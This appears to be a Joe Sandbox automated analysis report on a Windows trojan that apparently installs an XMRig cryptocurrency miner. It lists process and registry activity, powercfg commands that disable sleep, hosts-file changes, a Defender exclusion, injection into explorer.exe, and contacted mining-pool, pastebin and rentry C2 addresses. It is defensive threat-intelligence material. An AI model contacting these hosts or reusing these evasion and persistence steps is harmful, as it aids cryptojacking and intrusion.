              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
              Source: C:\Windows\explorer.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

              Lowering of HIPS / PFW / Operating System Security Settings

              barindex
              Modifies power options to not sleep / hibernate
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0Jump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0Jump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0Jump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0Jump to behavior
              Modifies the hosts file
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeFile written: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: explorer.exe, 0000003B.00000002.3836485970.0000000000EA9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: procexp.exe

              Mitre Att&ck Matrix

              ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
              Gather Victim Identity InformationAcquire InfrastructureValid Accounts11
              Windows Management Instrumentation              		11
              Windows Service              		11
              Windows Service              		1
              Masquerading              		OS Credential Dumping321
              Security Software Discovery              		Remote Services1
              Archive Collected Data              		1
              Web Service              		Exfiltration Over Other Network MediumAbuse Accessibility Features
              CredentialsDomainsDefault Accounts1
              Service Execution              		1
              DLL Side-Loading              		311
              Process Injection              		1
              File and Directory Permissions Modification              		LSASS Memory1
              Process Discovery              		Remote Desktop ProtocolData from Removable Media11
              Encrypted Channel              		Exfiltration Over BluetoothNetwork Denial of Service
              Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
              Abuse Elevation Control Mechanism              		1
              Disable or Modify Tools              		Security Account Manager131
              Virtualization/Sandbox Evasion              		SMB/Windows Admin SharesData from Network Shared Drive1
              Non-Standard Port              		Automated ExfiltrationData Encrypted for Impact
              Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook1
              DLL Side-Loading              		131
              Virtualization/Sandbox Evasion              		NTDS1
              Application Window Discovery              		Distributed Component Object ModelInput Capture1
              Ingress Tool Transfer              		Traffic DuplicationData Destruction
              Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script311
              Process Injection              		LSA Secrets1
              Remote System Discovery              		SSHKeylogging2
              Non-Application Layer Protocol              		Scheduled TransferData Encrypted for Impact
              Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
              Abuse Elevation Control Mechanism              		Cached Domain Credentials13
              System Information Discovery              		VNCGUI Input Capture3
              Application Layer Protocol              		Data Transfer Size LimitsService Stop
              DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
              Obfuscated Files or Information              		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
              Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
              DLL Side-Loading              		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
              Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
              File Deletion              		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

              Behavior Graph

              Hide Legend

              Legend:

              • Process
              • Signature
              • Created File
              • DNS/IP Info
              • Is Dropped
              • Is Windows Process
              • Number of created Registry Values
              • Number of created Files
              • Visual Basic
              • Delphi
              • Java
              • .Net C# or VB.NET
              • C, C++ or other language
              • Is malicious
              • Internet
              behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1543361 Sample: SecuriteInfo.com.Trojan.Sig... Startdate: 27/10/2024 Architecture: WINDOWS Score: 100 56 xmr-eu1.nanopool.org 2->56 58 pastebin.com 2->58 66 Antivirus / Scanner detection for submitted sample 2->66 68 Multi AV Scanner detection for submitted file 2->68 70 Yara detected Xmrig cryptocurrency miner 2->70 76 4 other signatures 2->76 8 Updater.exe 1 2->8         started        12 SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe 1 3 2->12         started        signatures3 72 DNS related to crypt mining pools 56->72 74 Connects to a pastebin service (likely for C&C) 58->74 process4 file5 50 C:\Windows\Temp\pjjtwoljkwri.sys, PE32+ 8->50 dropped 78 Antivirus detection for dropped file 8->78 80 Multi AV Scanner detection for dropped file 8->80 82 Injects code into the Windows Explorer (explorer.exe) 8->82 90 4 other signatures 8->90 14 explorer.exe 8->14         started        18 powershell.exe 23 8->18         started        20 cmd.exe 1 8->20         started        28 10 other processes 8->28 52 C:\ProgramDatabehaviorgraphoogleUP\Chrome\Updater.exe, PE32+ 12->52 dropped 54 C:\Windows\System32\drivers\etc\hosts, ASCII 12->54 dropped 84 Uses powercfg.exe to modify the power settings 12->84 86 Modifies the hosts file 12->86 88 Adds a directory exclusion to Windows Defender 12->88 22 powershell.exe 23 12->22         started        24 cmd.exe 1 12->24         started        26 powercfg.exe 1 12->26         started        30 12 other processes 12->30 signatures6 process7 dnsIp8 60 51.89.23.91, 10343, 49804 OVHFR France 14->60 62 54.37.137.114, 10343, 49786 OVHFR France 14->62 64 pastebin.com 104.20.4.235, 443, 49793 CLOUDFLARENETUS United States 14->64 92 System process connects to network (likely due to code injection or exploit) 14->92 94 Query firmware table information (likely to detect VMs) 14->94 96 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 14->96 98 Loading BitLocker PowerShell Module 18->98 32 conhost.exe 18->32         started        44 2 other processes 20->44 34 conhost.exe 22->34         started        36 conhost.exe 24->36         started        38 wusa.exe 24->38         started        40 conhost.exe 26->40         started        46 9 other processes 28->46 42 conhost.exe 30->42         started        48 11 other processes 30->48 signatures9 process10

              Screenshots

              Thumbnails

              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


              windows-stand

              Antivirus, Machine Learning and Genetic Malware Detection

              Initial Sample

              SourceDetectionScannerLabelLink
              SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe61%ReversingLabsWin64.Packed.Generic
              SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe100%AviraTR/Kryptik.ilfwl

              Dropped Files

              SourceDetectionScannerLabelLink
              C:\ProgramData\GoogleUP\Chrome\Updater.exe100%AviraTR/Kryptik.ilfwl
              C:\ProgramData\GoogleUP\Chrome\Updater.exe61%ReversingLabsWin64.Packed.Generic
              C:\Windows\Temp\pjjtwoljkwri.sys5%ReversingLabs

              Unpacked PE Files

              ⊘No Antivirus matches

              Domains

              ⊘No Antivirus matches

              URLs

              ⊘No Antivirus matches

              Domains and IPs

              Contacted Domains

              NameIPActiveMaliciousAntivirus DetectionReputation
              s-part-0039.t-0009.t-msedge.net
              		13.107.246.67
              		truefalse
                		unknown
                xmr-eu1.nanopool.org
                		141.94.23.83
                		truetrue
                  		unknown
                  pastebin.com
                  		104.20.4.235
                  		truetrue
                    		unknown

                    Contacted URLs

                    NameMaliciousAntivirus DetectionReputation
                    https://pastebin.com/raw/VMnMCaJFtrue
                      		unknown

                      URLs from Memory and Binaries

                      NameSourceMaliciousAntivirus DetectionReputation
                      https://rentry.co/y9ce3ing/raw--cinit-stealth-targets=Taskmgr.exeexplorer.exe, 0000003B.00000002.3836485970.0000000000EE5000.00000004.00000020.00020000.00000000.sdmpfalse
                        		unknown
                        http://crl.cloudflare.com/origin_ca.crl7explorer.exe, 0000003B.00000002.3836485970.0000000000F7D000.00000004.00000020.00020000.00000000.sdmpfalse
                          		unknown
                          http://ocsp.cloudflare.com/origin_ca0explorer.exe, 0000003B.00000002.3836485970.0000000000F7D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000002.3836485970.0000000000F01000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000002.3837102907.00000000019D0000.00000004.00000020.00020000.00000000.sdmpfalse
                            		unknown
                            http://crl.cloudflare.com/origin_ca.crlexplorer.exe, 0000003B.00000002.3837102907.00000000019D0000.00000004.00000020.00020000.00000000.sdmpfalse
                              		unknown
                              http://ocsp.cloudflare.com/origin_caiexplorer.exe, 0000003B.00000002.3837102907.00000000019D0000.00000004.00000020.00020000.00000000.sdmpfalse
                                		unknown
                                http://crl.cloudflare.com/origin_ca.crl0explorer.exe, 0000003B.00000002.3837102907.00000000019D0000.00000004.00000020.00020000.00000000.sdmpfalse
                                  		unknown
                                  https://rentry.co/y9ce3ing/rawTaskmgr.exeexplorer.exe, 0000003B.00000003.1477292624.0000000000F02000.00000004.00000020.00020000.00000000.sdmpfalse
                                    		unknown
                                    http://crl.cloudflare.com/origin_ca.crl/explorer.exe, 0000003B.00000002.3836485970.0000000000F01000.00000004.00000020.00020000.00000000.sdmpfalse
                                      		unknown
                                      http://ocsp.cloudflare.com/origin_caexplorer.exe, 0000003B.00000002.3837102907.00000000019D0000.00000004.00000020.00020000.00000000.sdmpfalse
                                        		unknown
                                        https://rentry.co/y9ce3ing/rawox.dllexplorer.exe, 0000003B.00000003.1503146567.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000002.3836485970.0000000000F92000.00000004.00000020.00020000.00000000.sdmpfalse
                                          		unknown
                                          https://rentry.co/y9ce3ing/rawexplorer.exe, 0000003B.00000002.3837102907.00000000019D0000.00000004.00000020.00020000.00000000.sdmpfalse
                                            		unknown
                                            https://rentry.co/y9ce3ing/rawcexplorer.exe, 0000003B.00000002.3837102907.00000000019D0000.00000004.00000020.00020000.00000000.sdmpfalse
                                              		unknown

                                              World Map of Contacted IPs

                                              • No. of IPs < 25%
                                              • 25% < No. of IPs < 50%
                                              • 50% < No. of IPs < 75%
                                              • 75% < No. of IPs

                                              Public IPs

                                              IPDomainCountryFlagASNASN NameMalicious
                                              104.20.4.235
                                              		pastebin.comUnited States
                                              		13335CLOUDFLARENETUStrue
                                              51.89.23.91
                                              		unknownFrance
                                              		16276OVHFRtrue
                                              54.37.137.114
                                              		unknownFrance
                                              		16276OVHFRtrue

                                              General Information

                                              Joe Sandbox version:41.0.0 Charoite
                                              Analysis ID:1543361
                                              Start date and time:2024-10-27 18:37:16 +01:00
                                              Joe Sandbox product:CloudBasic
                                              Overall analysis duration:0h 9m 48s
                                              Hypervisor based Inspection enabled:false
                                              Report type:full
                                              Cookbook file name:default.jbs
                                              Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                              Number of analysed new started processes analysed:64
                                              Number of new started drivers analysed:0
                                              Number of existing processes analysed:0
                                              Number of existing drivers analysed:0
                                              Number of injected processes analysed:0
                                              Technologies:
                                              • HCA enabled
                                              • EGA enabled
                                              • AMSI enabled
                                              Analysis Mode:default
                                              Analysis stop reason:Timeout
                                              Sample name:SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe
                                              Detection:MAL
                                              Classification:mal100.troj.adwa.spyw.evad.mine.winEXE@88/13@2/3
                                              EGA Information:
                                              • Successful, ratio: 33.3%
                                              HCA Information:Failed
                                              Cookbook Comments:
                                              • Found application associated with file extension: .exe
                                              • Override analysis time to 240000 for current running targets taking high CPU consumption

                                              Warnings

                                              • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
                                              • Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, azureedge-t-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
                                              • Execution Graph export aborted for target SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe, PID 7652 because there are no executed function
                                              • Execution Graph export aborted for target Updater.exe, PID 6552 because there are no executed function
                                              • Not all processes where analyzed, report is missing behavior information
                                              • Report size exceeded maximum capacity and may have missing behavior information.
                                              • Report size getting too big, too many NtCreateKey calls found.
                                              • Report size getting too big, too many NtOpenKeyEx calls found.
                                              • Report size getting too big, too many NtQueryValueKey calls found.
                                              • VT rate limit hit for: SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe

                                              Simulations

                                              Behavior and APIs

                                              TimeTypeDescription
                                              13:38:21API Interceptor1x Sleep call for process: SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe modified
                                              13:38:24API Interceptor32x Sleep call for process: powershell.exe modified

                                              Joe Sandbox View / Context

                                              IPs

                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                              104.20.4.235gabe.ps1Get hashmaliciousUnknownBrowse
                                              • pastebin.com/raw/sA04Mwk2
                                              cr_asm_crypter.ps1Get hashmaliciousUnknownBrowse
                                              • pastebin.com/raw/sA04Mwk2
                                              vF20HtY4a4.exeGet hashmaliciousUnknownBrowse
                                              • pastebin.com/raw/sA04Mwk2
                                              OSLdZanXNc.exeGet hashmaliciousUnknownBrowse
                                              • pastebin.com/raw/sA04Mwk2
                                              gaber.ps1Get hashmaliciousUnknownBrowse
                                              • pastebin.com/raw/sA04Mwk2
                                              cr_asm_crypter.ps1Get hashmaliciousUnknownBrowse
                                              • pastebin.com/raw/sA04Mwk2
                                              sostener.vbsGet hashmaliciousNjratBrowse
                                              • pastebin.com/raw/V9y5Q5vv
                                              sostener.vbsGet hashmaliciousXWormBrowse
                                              • pastebin.com/raw/V9y5Q5vv
                                              envifa.vbsGet hashmaliciousRemcosBrowse
                                              • pastebin.com/raw/V9y5Q5vv
                                              New Voicemail Invoice 64746w .jsGet hashmaliciousWSHRATBrowse
                                              • pastebin.com/raw/NsQ5qTHr
                                              51.89.23.91eqkh9g37Yb.exeGet hashmaliciousXmrigBrowse
                                                54.37.137.114ft1i6jvAdD.exeGet hashmaliciousXmrigBrowse

                                                  Domains

                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                  xmr-eu1.nanopool.orgYf4yviDxwF.exeGet hashmaliciousXmrigBrowse
                                                  • 54.37.232.103
                                                  file.exeGet hashmaliciousXmrigBrowse
                                                  • 54.37.137.114
                                                  Q3Vq6yp33F.exeGet hashmaliciousXmrigBrowse
                                                  • 51.15.65.182
                                                  2JkHiPgkLE.exeGet hashmaliciousXmrigBrowse
                                                  • 51.15.58.224
                                                  file.exeGet hashmaliciousXmrigBrowse
                                                  • 51.89.23.91
                                                  eqkh9g37Yb.exeGet hashmaliciousXmrigBrowse
                                                  • 146.59.154.106
                                                  SecuriteInfo.com.Trojan.Siggen29.50366.26295.18671.exeGet hashmaliciousXmrigBrowse
                                                  • 51.15.65.182
                                                  SecuriteInfo.com.Trojan.GenericKD.74258817.17122.7170.exeGet hashmaliciousVidar, XmrigBrowse
                                                  • 54.37.232.103
                                                  WWhhc3A0rs.exeGet hashmaliciousXmrigBrowse
                                                  • 51.15.65.182
                                                  OTm8DpW32j.exeGet hashmaliciousXmrigBrowse
                                                  • 141.94.23.83
                                                  s-part-0039.t-0009.t-msedge.net5Cw7877KPD.dllGet hashmaliciousCobaltStrike, MetasploitBrowse
                                                  • 13.107.246.67
                                                  http://mychronictravel.eu.org/Get hashmaliciousUnknownBrowse
                                                  • 13.107.246.67
                                                  https://u47839971.ct.sendgrid.net/ls/click?upn=u001.SS8YqfWjf1b3UNFf2g8-2BbyepSJ9NnVqTjg5p4PlqyZLDG-2F-2FRHUWKB7tpHO-2BD9IAzfDK69NBor6n5GDDWuKOaXjILtpHrb-2FuqosweWIwJauCFjFOIVaIDje-2BTbWeqpid-2Fe0IpJIrTIznxRC8RuWTXkcZZXZKUxIgeeMWOFH96Tjh3a3uDeIXRyoiB6ZRGKZhHD63OuPdyktyTbMDbA-2FurGQ-3D-3DGlRK_1fgoI9z-2BmeHj6kFR5jmXJyN8Vyo9ja5rNrkl1rR8UXAlmAe6PSc2-2FD85CLOIF98tpCjfsSquWpaRYnYzjD-2B-2FDF-2F8BwiwRSEwmTXwwlDUaQI3bDBZTUv-2Ffbse4A61ed6hVc-2BhhTqdpCqzpir5GY49O-2BVdqG9mHEhTR8OvRsDhxES9QAdY7ZiH-2BurXMNUWGL6VuIIVYma05ZXZK6zhQMDhjNBnJShmRWPp7Ow2IJgH96F8uRyUdyMUZ9au5PfRhmvWMnTj3B1KVxYBpNo7XRlBSlYjK74Z4HptPWz0XAvVILLp4Z5Qq7I-2BYF76YXE5ZsE-2F9hOEdmxnqZwZIEaC1BNDg2XB-2BluEEvEXRuR9ohEPc6VObquUxTQmba8bObSY0wG3oOeb2xD8hV6IKwMnr9d-2B5HbQscEqkWH5k7qnk6bAGBIHHNt95VH4uagG-2Bh74PJCdwHqpitEnC4IeAHXNdNtMkKw34-2BF8TeV7q4SmkRwe9osbefOHPWGyls7sZdEjodVX7wlBDRV2BLQlTlDkK-2FzuZ2EsHCtWTv7yrVJT-2B6p3fl4O5qZGyWAuATjn7386SmbgYFZYAIaRjabXb6J3Z9IYhB-2BBiP3zxZSMd-2BGGNtSLCQw7FqwKOUhYoEZSgG-2FLraJhb7xOSF-2FZGKBw-2FWGPQ5W16K6ZnP31akPWN-2FRy3A1tFL9-2FQXaviWuNn8VOeqLfBR9isxQ-2BqB-2Fm-2BPFRMhM4zyM42FPD-2FRIJxCXHHfAnucSqTKeA1iykI89pw6joYB-2B9v-2FXzQpkgszpTxbxZcZ7mH0xUY6S3QZDaIWpt-2F-2B0FpvTn8cArsTTKjQo1QO476bdWvqqoz32vBNn214xuFkN0blGHeazkhMWwmEzZM6r-2BTFrW2-2Fha62dTAc7eNUguY6HOm3gtrj2-2FYlAidnBTp5Y8fj3jmA-3D-3DGet hashmaliciousUnknownBrowse
                                                  • 13.107.246.67
                                                  Quarantined Messages (1).zipGet hashmaliciousHTMLPhisherBrowse
                                                  • 13.107.246.67
                                                  Fax_Message_04 September, 202411_21_58 AM_564308269612697.htmGet hashmaliciousHTMLPhisherBrowse
                                                  • 13.107.246.67
                                                  Inv Confirmation.htmGet hashmaliciousHTMLPhisherBrowse
                                                  • 13.107.246.67
                                                  SecuriteInfo.com.Other.Malware-gen.26961.24680.xlsxGet hashmaliciousUnknownBrowse
                                                  • 13.107.246.67
                                                  https://8jkfw9cqp7ep.z13.web.core.windows.net/?zpbid=78432_55610c1d-9229-11ef-824f-03718b6de7bb#Get hashmaliciousHTMLPhisher, TechSupportScamBrowse
                                                  • 13.107.246.67
                                                  EXTERNALRoger Moczygemba shared DIRECT MED CLINIC - CONFIDENTIAL with you.msgGet hashmaliciousUnknownBrowse
                                                  • 13.107.246.67
                                                  https://1drv.ms/o/c/3e563d3fb2a98d1c/Emlo5KUbYYNEvKtIF-7SS0EBYSeT3hOOGuv_MbeT-n2y4g?e=HPjqUnGet hashmaliciousHtmlDropperBrowse
                                                  • 13.107.246.67
                                                  pastebin.comseethebestthingstobegetmebackwithherlove.htaGet hashmaliciousCobalt StrikeBrowse
                                                  • 172.67.19.24
                                                  BL Packing List & Invoice.xlsGet hashmaliciousUnknownBrowse
                                                  • 104.20.4.235
                                                  DHLShippingInvoicesAwbBL000000000102220242247.vbsGet hashmaliciousRemcosBrowse
                                                  • 104.20.4.235
                                                  a1OueQJq4d.exeGet hashmaliciousDCRatBrowse
                                                  • 172.67.19.24
                                                  4b7b5bc7b0d1f70adf6b80390f1273723c409b837c957.dllGet hashmaliciousUnknownBrowse
                                                  • 104.20.4.235
                                                  loader.exeGet hashmaliciousXmrigBrowse
                                                  • 104.20.4.235
                                                  SecuriteInfo.com.Win64.Evo-gen.31489.1077.exeGet hashmaliciousXmrigBrowse
                                                  • 172.67.19.24
                                                  6TCmDl2rFY.exeGet hashmaliciousDCRatBrowse
                                                  • 104.20.4.235
                                                  AF1cyL4cv6.vbsGet hashmaliciousAsyncRATBrowse
                                                  • 104.20.4.235
                                                  FRi4mYXiwD.ps1Get hashmaliciousAsyncRATBrowse
                                                  • 104.20.3.235

                                                  ASNs

                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                  OVHFRjklm68k.elfGet hashmaliciousUnknownBrowse
                                                  • 145.239.88.167
                                                  nabarm5.elfGet hashmaliciousUnknownBrowse
                                                  • 51.178.70.68
                                                  jklarm5.elfGet hashmaliciousUnknownBrowse
                                                  • 51.75.252.221
                                                  la.bot.sh4.elfGet hashmaliciousUnknownBrowse
                                                  • 91.134.89.2
                                                  nshmpsl.elfGet hashmaliciousUnknownBrowse
                                                  • 51.89.127.38
                                                  nshmips.elfGet hashmaliciousUnknownBrowse
                                                  • 51.89.127.38
                                                  UwOcZADSmi.exeGet hashmaliciousAsyncRATBrowse
                                                  • 51.77.103.216
                                                  la.bot.mipsel.elfGet hashmaliciousUnknownBrowse
                                                  • 149.202.64.24
                                                  la.bot.mipsel.elfGet hashmaliciousUnknownBrowse
                                                  • 51.75.252.255
                                                  https://inps-conferma-dati.it/home.htmlGet hashmaliciousUnknownBrowse
                                                  • 178.32.138.212
                                                  CLOUDFLARENETUSSecuriteInfo.com.Win64.CrypterX-gen.31361.18171.exeGet hashmaliciousUnknownBrowse
                                                  • 104.26.0.5
                                                  SecuriteInfo.com.Trojan.TR.Redcap.cdtxw.10783.3124.exeGet hashmaliciousLummaCBrowse
                                                  • 188.114.97.3
                                                  f6ffg1sZS2.exeGet hashmaliciousBabuk, DjvuBrowse
                                                  • 188.114.96.3
                                                  wo4POc0NG1.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, StealcBrowse
                                                  • 172.67.170.64
                                                  K3SRs78CAv.exeGet hashmaliciousLummaCBrowse
                                                  • 188.114.97.3
                                                  file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, StealcBrowse
                                                  • 104.21.95.91
                                                  file.exeGet hashmaliciousStealc, VidarBrowse
                                                  • 172.64.41.3
                                                  file.exeGet hashmaliciousLummaCBrowse
                                                  • 104.21.95.91
                                                  file.exeGet hashmaliciousLummaCBrowse
                                                  • 104.21.95.91
                                                  SecuriteInfo.com.Win64.CrypterX-gen.14264.32283.exeGet hashmaliciousLummaCBrowse
                                                  • 104.21.64.165
                                                  OVHFRjklm68k.elfGet hashmaliciousUnknownBrowse
                                                  • 145.239.88.167
                                                  nabarm5.elfGet hashmaliciousUnknownBrowse
                                                  • 51.178.70.68
                                                  jklarm5.elfGet hashmaliciousUnknownBrowse
                                                  • 51.75.252.221
                                                  la.bot.sh4.elfGet hashmaliciousUnknownBrowse
                                                  • 91.134.89.2
                                                  nshmpsl.elfGet hashmaliciousUnknownBrowse
                                                  • 51.89.127.38
                                                  nshmips.elfGet hashmaliciousUnknownBrowse
                                                  • 51.89.127.38
                                                  UwOcZADSmi.exeGet hashmaliciousAsyncRATBrowse
                                                  • 51.77.103.216
                                                  la.bot.mipsel.elfGet hashmaliciousUnknownBrowse
                                                  • 149.202.64.24
                                                  la.bot.mipsel.elfGet hashmaliciousUnknownBrowse
                                                  • 51.75.252.255
                                                  https://inps-conferma-dati.it/home.htmlGet hashmaliciousUnknownBrowse
                                                  • 178.32.138.212

                                                  JA3 Fingerprints

                                                  ⊘No context

                                                  Dropped Files

                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                  C:\Windows\Temp\pjjtwoljkwri.sysYf4yviDxwF.exeGet hashmaliciousXmrigBrowse
                                                    file.exeGet hashmaliciousXmrigBrowse
                                                      SecuriteInfo.com.Trojan.Siggen29.47910.18846.10721.exeGet hashmaliciousXmrigBrowse
                                                        prog.exeGet hashmaliciousXmrigBrowse
                                                          T52Z708x2p.exeGet hashmaliciousPhorpiex, XmrigBrowse
                                                            lJ4EzPSKMj.exeGet hashmaliciousPhorpiex, XmrigBrowse
                                                              Us051y7j25.exeGet hashmaliciousPhorpiex, XmrigBrowse
                                                                bypass.exeGet hashmaliciousXmrigBrowse
                                                                  MDE_File_Sample_7046d0b264f80a016ec10158377c7e76c395cffb.zipGet hashmaliciousXmrigBrowse
                                                                    Q3Vq6yp33F.exeGet hashmaliciousXmrigBrowse

                                                                      Created / dropped Files

                                                                      C:\ProgramData\GoogleUP\Chrome\Updater.exe

                                                                      Download File
                                                                      Process:C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe
                                                                      File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                      Category:dropped
                                                                      Size (bytes):6031872
                                                                      Entropy (8bit):7.948453468363114
                                                                      Encrypted:false
                                                                      SSDEEP:98304:wKDlzK2disEKWIAN9rDUQ60m+E+3syUSIkJEhxfAF8p4ucxJixyWB5TU7NTJN1uy:waFbErIYeQ3nEIsyU2Y48CBh5TjY
                                                                      MD5:C441BE4F7FD0F07FDCF94657C624C3DA
                                                                      SHA1:BEDD1F5D2FEB959599B370590F62F02CBB3D2D3F
                                                                      SHA-256:47C6484DDE4D9CA23A7667B1B71C5ED88D7CDD3DCCF57485333CEDA0153E5684
                                                                      SHA-512:C753BFA2B84EA5DFC47DBE25B807AF6DD7D79E53A780EF693052F0C5C774767EF5B277671B07C539132AF11A56546DE3DD18790CE3FB3C4F66CA63C6C17FD8AD
                                                                      Malicious:true
                                                                      Antivirus:
                                                                      • Antivirus: Avira, Detection: 100%
                                                                      • Antivirus: ReversingLabs, Detection: 61%
                                                                      Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...Z{.f.........."......$....S................@.....................................\...`.....................................................P......,......$...............T............................<..(.......8............@[.X............................text....".......................... ..`.rdata...2...@......................@..@.data...H.O.........................@....pdata.......pQ.....................@..@.00cfg........Q.....................@..@.tls..........Q.....................@....vmp..+.....Q..................... ..`.vmp.......@[.....................@....vmp...XX..P[..ZX.................`..h.reloc..T............dX.............@..@.rsrc...,...........zX.............@..@................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                      Download File
                                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      File Type:data
                                                                      Category:dropped
                                                                      Size (bytes):64
                                                                      Entropy (8bit):1.1940658735648508
                                                                      Encrypted:false
                                                                      SSDEEP:3:Nlllul3nqth:NllUa
                                                                      MD5:851531B4FD612B0BC7891B3F401A478F
                                                                      SHA1:483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
                                                                      SHA-256:383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
                                                                      SHA-512:A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
                                                                      Malicious:false
                                                                      Preview:@...e.................................&..............@..........

                                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_juwuz4lg.oku.psm1

                                                                      Download File
                                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      File Type:ASCII text, with no line terminators
                                                                      Category:dropped
